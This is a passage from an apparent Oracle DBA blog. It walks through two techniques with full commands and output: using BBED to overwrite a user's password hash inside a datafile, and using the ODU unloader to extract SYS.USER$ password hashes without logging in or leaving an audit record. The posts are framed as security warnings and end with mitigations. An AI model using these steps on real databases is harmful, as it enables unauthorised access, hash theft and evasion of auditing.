FILE_ID BLOCK_ID BLOCKS
---------- ---------- ----------
1 208 8

SQL> select rowid from sys.user$ where name = 'HR';

ROWID
------------------
AAAAAKAABAAAADVAAG

SQL> SELECT dbms_rowid.rowid_block_number('AAAAAKAABAAAADVAAG') FROM dual;

DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAAAKAABAAAADVAAG')
---------------------------------------------------
213

SQL> select file#||' '||name||' '||bytes from v$datafile where file# = 1;

FILE#||''||NAME||''||BYTES
--------------------------------------------------------------------------------
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920

So we have identified that C_USER# is stored in file 1, in one extent of 8 blocks starting at block number 208. The actual row we want to update is in block 213.

With the file details we can create the parameter file and execute BBED :-

vi /home/oracle/bbed.par

blocksize=8192
listfile=/home/oracle/fileunix.log
mode=edit
1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf 702545920

$ bbed
Password:

BBED: Release 2.0.0.0.0 - Limited Production on Mon Jan 21 08:34:55 2013

Copyright (c) 1982, 2009, Oracle and/or its affiliates. All rights reserved.

************* !!! For Oracle Internal Use only !!! ***************

# Load the configuration file :-

BBED> SET LIST '/home/oracle/bbed.par'
LISTFILE /home/oracle/bbed.par

# Specify the filename to work on :-

BBED> SET FILENAME '/ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf'
FILENAME /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

# Tell BBED to work on file 1, block 213 :-

BBED> set dba 1,213
DBA 0x004000d5 (4194517 1,213)

# Now find the offset where the hash string starts :-

BBED> find /c S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5904 Dba:0x004000d5
------------------------------------------------------------------------
533a3637 43364532 45334230 36393044 36363539 43463131 42374542 39363841
36343837 39313734 46343237 36363534 43443042 39383033 31344339 38436c00
16040248 5202c102 10433232 42333046 42423839 42363541 4402c108 02c10407

# Dump the data at that offset to confirm the length and content

BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a3637 43364532 45334230 36393044 l S:67C6E2E3B0690D
36363539 43463131 42374542 39363841 l 6659CF11B7EB968A
36343837 39313734 46343237 36363534 l 64879174F4276654
43443042 39383033 31344339 3843 l CD0B980314C98C

# Set BBED to EDIT mode

BBED> SET MODE EDIT
MODE Edit

# Modify update the block with the new hash string from the specified offset

BBED> modify /c S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E dba 1,213 offset 5393
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) Y
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
------------------------------------------------------------------------
533a4541 30353837 37424330 33433033 34323243 35354533 39413433 42443031
33303133 44374545 46333334 43463546 45414130 32324439 35324237 3845

# Dump the data again to confirm the update.

BBED> dump /v dba 1,213 offset 5393 count 62
File: /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf (1)
Block: 213 Offsets: 5393 to 5454 Dba:0x004000d5
-------------------------------------------------------
533a4541 30353837 37424330 33433033 l S:EA05877BC03C03
34323243 35354533 39413433 42443031 l 422C55E39A43BD01
33303133 44374545 46333334 43463546 l 3013D7EEF334CF5F
45414130 32324439 35324237 3845 l EAA022D952B78E

We confirmed that the hash has been updated. Now, we need to update the block checksum to match the new data.

Check if the checksum needs to be updated :-

BBED> sum dba 1,213
Check value for File 1, Block 213:
current = 0x8d06, required = 0x8208

It does need to be updated, so now we apply the update.

BBED> sum dba 1,213 apply
Check value for File 1, Block 213:
current = 0x8208, required = 0x8208

# Now exit BBED and check from the database if we can see the changed data :-

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:67C6E2E3B0690D6659CF11B7EB968A64879174F4276654CD0B980314C98C

# Select from the database is still showing the old value because it uses the cached block version in memory. The database needs to re-read the block from disk to get the updated block. This could be done by a database restart, by filling the buffer cache to flush LRU blocks, or by manually flushing the cache. If someone was actually using BBED to update data the best time would be immediately before or after a database restart to avoid a mismatch between data on disk and in cache, and avoid having the changed disk block being overwritten.

In this case I will speed up the process by flushing the cache.

SQL> alter system flush buffer_cache;

System altered.

SQL> select spare4 from user$ where name in ('HR');

SPARE4
-----------------------------------------------------------------
S:EA05877BC03C03422C55E39A43BD013013D7EEF334CF5FEAA022D952B78E

You can see the select now returns the updated hash for the known password. And we can test is using :-

SQL> connect hr/knownpasswordConnected.
Using BBED (or similar program) it is possible for someone with write access to Oracle datafiles to directly update data, passwords, or code and bypass database level security and audit. To avoid this vulnerability, secure the server, limit access to datafiles, and encrypt sensitive data.

If you want to find out more about BBED you can run "help all" you can get a basic listing of commands.

More information about BBED can be found here in the following document by Graham Thornton :- http://orafaq.com/papers/dissassembling_the_data_block.pdf

Categories: DBA Blogs

Using Oracle Data Unloader (ODU) to extract data from Oracle Databases while avoiding security and auditing.

Fri, 2013-01-18 00:54

There are some very expensive products being sold to stop people from accessing sensitive data in Oracle databases, and some companies even insist that DBAs should manage databases without having access to the data. This post is to remind managers that even with the most expensive security product, if the data is not encrypted, anyone with access to the files on disk can read it. Don't believe what the Salesmen tell you !!!

Anyone with access to Oracle datafiles with unencrypted table data can extract it. The Oracle block structure is reasonably well known, and there are a number of commercial products that allow users to read directly from files without being logged into the database. If you are reading data directly from files, it can be done from standby databases, shutdown databases, or even file fragments or backup pieces.

These data unloader tools are usually meant for extracting data from corrupt files, truncated tables, or for fast data migration or replication, but they can also be used to bypass database security and audit layers for extraction of sensitive data or even password hashes which can be used to guess passwords for privilege escalation.

Following is an example using the Oracle Data Unloader (ODU) tool. There are other data unloader tools available, and I have not compared them, so can't say which is best, and have not compared prices.

1. Download Oracle Data Unloader (ODU) trial version from http://www.oracleodu.com/en/ and extract the binary and config files.2. Get the SYSTEM tablespace file names by selecting from v$datafile, or by looking in the OS.
SQL> select ts#,file#,rfile#,name from v$datafile where name like '%system%';
TS# FILE# RFILE# NAME
---------- ---------- ---------- --------------------------------------------------------------------------------
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

3. Add the datafile to control.txt
$ more control.txt
#ts fno rfno filename block_size is_big_file header_offset blocks
0 1 1 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf

4. Start ODU
$ ./odu

Oracle Data Unloader trial version 4.1.3

Copyright (c) 2008,2009,2010,2011 XiongJun. All rights reserved.

Web: http://www.oracleodu.com
Email: magic007cn@gmail.com

loading default config.......

byte_order little
block_size 8192
block_buffers 1024
error at line 3.
db_timezone -7
Invalid db timezone:-7
client_timezone 8
Invalid client timezone:8
asmfile_extract_path /asmfile
data_path data
lob_path /odu/data/lob
charset_name US7ASII
charset name 'US7ASII' not found,will use default charset ZHS16GBK
ncharset_name AL16UTF16
output_format text
lob_storage infile
clob_byte_order big
trace_level 1
delimiter |
unload_deleted no
file_header_offset 0
is_tru64 no
record_row_addr no
convert_clob_charset yes
use_scanned_lob yes
trim_scanned_blob yes
lob_switch_dir_rows 20000
db_block_checksum yes
db_block_checking yes
rdba_file_bits 10
compatible 10
load config file 'config.txt' successful
loading default asm disk file ......

grp# dsk# bsize ausize disksize diskname groupname path
---- ---- ----- ------ -------- --------------- --------------- --------------------------------------------

load asm disk file 'asmdisk.txt' successful
loading default control file ......

ts# fn rfn bsize blocks bf offset filename
---- ---- ---- ----- -------- -- ------ --------------------------------------------
0 1 1 8192 85760 N 0 /ora01/oradata/TEST1/datafile/o1_mf_system_8h9crmow_.dbf
load control file 'control.txt' successful
loading dictionary data......done

loading scanned data......done
5. Unload the dictionary
ODU> unload dict
CLUSTER C_USER# file_no: 1 block_no: 208
TABLE OBJ$ file_no: 1 block_no: 240
CLUSTER C_OBJ# file_no: 1 block_no: 144
CLUSTER C_OBJ# file_no: 1 block_no: 144
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found TABPART$'s obj# 576
found TABPART$'s dataobj#:576,ts#:0,file#:1,block#:3824,tab#:0
found INDPART$'s obj# 581
found INDPART$'s dataobj#:581,ts#:0,file#:1,block#:3872,tab#:0
found TABSUBPART$'s obj# 588
found TABSUBPART$'s dataobj#:588,ts#:0,file#:1,block#:3928,tab#:0
found INDSUBPART$'s obj# 593
found INDSUBPART$'s dataobj#:593,ts#:0,file#:1,block#:3968,tab#:0
found IND$'s obj# 19
found IND$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:3
found LOB$'s obj# 80
found LOB$'s dataobj#:2,ts#:0,file#:1,block#:144,tab#:6
found LOBFRAG$'s obj# 609
found LOBFRAG$'s dataobj#:609,ts#:0,file#:1,block#:4096,tab#:0
6. Unload the table data you want. In this case we are unloading the USER$ table which contains password hashes.ODU> unload table SYS.USER$

Unloading table: USER$,object ID: 22
Unloading segment,storage(Obj#=22 DataObj#=10 TS#=0 File#=1 Block#=208 Cluster=1)
89 rows unloaded
7. Review the extracted data, load it into another database etc.
$ ls -lrt
total 9136
-rwxr-xr-x 1 oracle oinstall 558 Mar 22 2011 config.txt
-rwxr-xr-x 1 oracle oinstall 2588361 Feb 2 2012 odu
-rw-r--r-- 1 oracle oinstall 0 Jan 18 09:40 odu_trace.txt
-rwxr-xr-x 1 oracle oinstall 87 Jan 18 09:40 asmdisk.txt
-rwxr-xr-x 1 oracle oinstall 181 Jan 18 09:50 control.txt
-rw-r--r-- 1 oracle oinstall 1440 Jan 18 09:52 user.odu
-rw-r--r-- 1 oracle oinstall 2732224 Jan 18 09:52 obj.odu
-rw-r--r-- 1 oracle oinstall 3725801 Jan 18 09:52 col.odu
-rw-r--r-- 1 oracle oinstall 148683 Jan 18 09:52 tab.odu
-rw-r--r-- 1 oracle oinstall 33307 Jan 18 09:52 lob.odu
-rw-r--r-- 1 oracle oinstall 40 Jan 18 09:52 lobfrag.odu
-rw-r--r-- 1 oracle oinstall 61636 Jan 18 09:52 ind.odu
drwxr-xr-x 2 oracle oinstall 4096 Jan 18 09:53 data
$ cd data
$ ls
SYS_USER$.ctl SYS_USER$.sql SYS_USER$.txt

$ more SYS_USER$.txt

0|SYS|1|DCB748A5BC5390F2|0|3|2009-08-13 23:00:59|2013-01-15 10:22:57|2009-08-13 23:56:35|2009-08-13 23:56:35|0||1|||0|0|DEFAU
LT_CONSUMER_GROUP||0|||S:53620F1B30414FA6489438A818421FB22C752C53A9B0519C7A3FEB67A7C5

I was able to extract the password hashes for the SYS user, and all other users in the database (not shown), without logging into the database, or leaving an audit record. I could then use brute force, or rainbow tables to find the password. Alternatively I could also extract any unencrypted credit card details, application passwords etc.

To properly secure sensitive data in Oracle Databases, access to the server, datafiles, and backups should be restricted, and data should be encrypted.

Categories: DBA Blogs

User login

Aggregator

Site navigation

Oracle Redo log contents for Insert to new table.

A demonstration of Oracle row movement within a block.

What happens to Oracle data blocks during Truncate.

What happens in an Oracle block during a delete.

What happens in an Oracle Block during an update.

Java program to extract records from Oracle Control Files.

Java program to extract data from Oracle datafile blocks.

Extracting data directly from Oracle datafiles using Java.

Oracle Control File Physical Structure

Using ODU to extract audit data from truncated AUD$ table.

Oracle database on ZFS - reduce costs through deduplication

Oracle database on BTRFS - reduce costs through deduplication

Select from Alert and Listener logs using V$DIAG_ALERT_EXT

Linking BBED on Oracle 11g / Linux

Oracle BBED command syntax from "help all"

Using BBED to update Oracle Password Hashes

Using Oracle Data Unloader (ODU) to extract data from Oracle Databases while avoiding security and auditing.